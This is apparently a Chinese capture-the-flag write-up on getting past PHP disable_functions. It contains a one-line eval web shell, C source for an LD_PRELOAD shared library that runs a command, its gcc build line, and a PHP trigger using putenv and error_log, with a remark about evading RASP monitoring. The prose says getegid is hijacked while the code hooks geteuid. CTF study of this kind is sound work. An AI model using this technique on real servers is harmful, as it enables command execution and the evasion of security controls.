< ? php
@eval($_REQUEST['ant']);
show_source(__FILE__);
? >
打开界面发现如图所示的代码,显然可以通过蚁剑进行连接,连接成功
在目录下找到flag文件,但flag打开为空,于是打开终端,发现对于发出的命令均返回ret=127,说明是disable_functions(禁用函数)生效,查看phpinfo,发现禁用了许多函数。
接下来有两种方法:
手动配置
在LD_PRELOAD问题中,mail() 、 error_log()、ImageMagick() 是常用于劫持的触发函数,原因是在运行的时候能够启动子进程,这样才能重新加载我们所设置的环境变量,从而劫持子进程所调用的库函数。
在这个题目中,disable_function发现mail()函数被禁用,error_log()函数未被禁用,所以采用error_log函数,error_log函数在运行时,会调用getegid() 函数。那么我们可以通过重写 getegid() 函数编译为so文件来进行攻击(选择getegid函数是因为该函数没有参数,可以减少工作量,减少复杂性)
#include<stdlib.h>
#include <stdio.h>
#include<string.h>
void payload() {
system("/readflag > /tmp/feng.txt");//执行访问feng.txt命令
}
int geteuid() {
if (getenv("LD_PRELOAD") == NULL)
{
return 0;
}
unsetenv("LD_PRELOAD");//通过LD_PRELOAD劫持了启动进程的相关函数,如果劫持后启动的新进程同样调用该函数,那么如果不在新进程启动前取消LD_PRELOAD,则将陷入死循环。通常做法调用 unsetenv("LD_PRELOAD")删除环境变量。
payload();
}
优化版(上述代码存在一些问题,有些函数服务器不支持,如mail函数实际依赖的是sendmail,但是目标服务器未安装。使用__attribute__ ((constructor))构造函数的动态库文件,该函数会在main()之前执行,因此无需劫持某个函数即可执行代码。)
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
__attribute__((__constructor__)) void xxx(void) {
unsetenv("LD_PRELOAD");
system("/readflag > /tmp/flag");
}
将文件命名为hack.c,然后利用下述命令生成hack.so(需要在linux下执行)
gcc -shared -fPIC hack.c -o hack.so
将hack.so文件上传到/tmp/目录下,一般来说/tmp/目录都有读写权限
然后编写feng.php,在feng.php中利用error_log函数链接hack.so,将feng.php上传到/var/www/html。(在利用过程中,通过设置LD_PRELOAD环境变量引入自定义的so库。由于真正的恶意代码运行在php之外的进程,自然避过了RASP监控。)
<?php
putenv("LD_PRELOAD=/tmp/hack.so");//利用putenv函数来实现链接库的设置,putenv函数用来设置环境变量,且环境变量仅存活于当前请求期间。 在请求结束时环境会恢复到初始状态。(注意这里的目录要有访问权限)
error_log("",1,"","");
?>
然后在网页中访问feng.php文件,刷新目录,在/tmp目录中得到feng.txt文件,打开得到flag
蚁剑工具
如下图,利用蚁剑插件
加载成功后,在目录中会增加两个文件
此时利用蚁剑重新连接.php文件
连接成功后发现终端可以执行命令了,得到flag
参考文章:CTFHub Bypass disable_function系列(已完结)_ctfhubbypass disable_function-CSDN博客
RASP攻防 —— RASP安全应用与局限性浅析 - 博客 - 腾讯安全应急响应中心 (tencent.com)
bypass php disable_functions | ssooking's notebook